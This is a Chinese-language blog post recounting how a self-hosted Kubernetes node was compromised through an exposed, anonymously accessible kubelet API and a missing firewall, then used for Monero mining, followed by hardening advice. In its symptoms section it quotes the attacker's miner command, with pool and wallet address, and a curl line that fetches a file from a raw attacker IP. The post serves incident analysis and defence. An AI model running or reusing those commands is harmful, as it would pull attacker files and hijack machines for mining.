記一次Kubernetes集羣被入侵,服務器變礦機

近期遇到了一次我們自建Kubernetes集羣中某臺機器被入侵挖礦的情況,後續也找到了原因,所幸只是用來挖礦……

網絡安全是個嚴肅的問題,它總是在不經意間出現,等你反應過來卻已經遲了。希望各位讀者看完後也有所啓發,去檢查及加固自己的集羣。

入侵現象

檢查到某臺機器中出現了異常進程:

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat

簡單來講,就是我們的機器被用來挖礦了……

問題出現後,我們第一時間關閉了Docker,其實應該隔離下環境,把挖礦程序dump下來,以便後續分析。

具體原因排查

iptables爲空

出現了異常進程,肯定是被入侵了,我首先看的是iptables。果不其然,機器上的iptables規則是空的,意味着這臺機器在裸奔。

kubelet裸奔

內部同事提出了有可能是kubelet被入侵的問題,檢查過其他組件後,開始檢查kubelet組件。

最後檢查到kubelet日誌中有異常:

kubelet設置不當

確認入侵問題,kubelet參數設置錯誤,允許直接訪問kubelet的API。

發現是kubelet的啓動項中,該位置被註釋掉:

然後文件中禁止匿名訪問的配置沒有讀取。

該項配置是由於我操作不當註釋掉的。

由於是新增加的機器,當晚就發現了問題,整個集羣是我在管理的,我跟隨着一起排查,所以很快就找到了原因,當晚我就把其他機器中的配置項重新掃了一遍,假如它們的防火牆失效了,也會有類似的入侵情況發生,還好此次事件控制在1臺機器中。

改進方案

其實該問題理論上講是可以避免的,是因爲出現了多層漏洞纔會被有心人掃到,我從外到內整理了一下可能改進的策略:

機器防火牆設置,機器防火牆是整個系統最外層,即使機器的防火牆同步失敗,也不能默認開放所有端口,而是應該全部關閉,等待管理員連接到tty終端上檢查。

使用機器時,假如機器不是暴露給外部使用的,公網IP可有可無的時候,儘量不要有公網IP,我們的機器才上線1天就被掃描到了漏洞,可想而知,公網上是多麼的危險。

使用kubelet以及其他系統服務時,端口監聽方面是不是該有所考量?能不能不監聽0.0.0.0,而是隻監聽本機的內網IP。

使用kubelet以及其他程序,設計或是搭建系統時,對於匿名訪問時的權限控制,我們需要考慮到假如端口匿名會出現什麼問題,是否應該允許匿名訪問,如果不允許匿名訪問,那麼怎麼做一套鑑權系統?

系統管理員操作時,是否有一個比較規範化的流程,是不是該只使用腳本操作線上環境?手動操作線上環境帶來的問題並不好排查和定位。

我這裏不是拋出疑問,只是想告訴大家,考慮系統設計時,有必要考慮下安全性。

總結

發生了入侵事件後,同事開玩笑說,還好沒其他經濟損失,要不我可能要回家了。作爲集羣的管理員,只有自己最清楚問題的嚴重程度,從本質上來講,問題已經相當嚴重了。入侵者相當於擁有了機器上Docker的完整控制權限。

因爲此次事件的發生,不只是我,還有SA的同學基本都被diao了一遍,心裏還是有點難受的,希望大家能對網絡安全問題有所重視,從加固防火牆開始,避免監聽不必要的端口,這兩項至少是最容易實現的。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章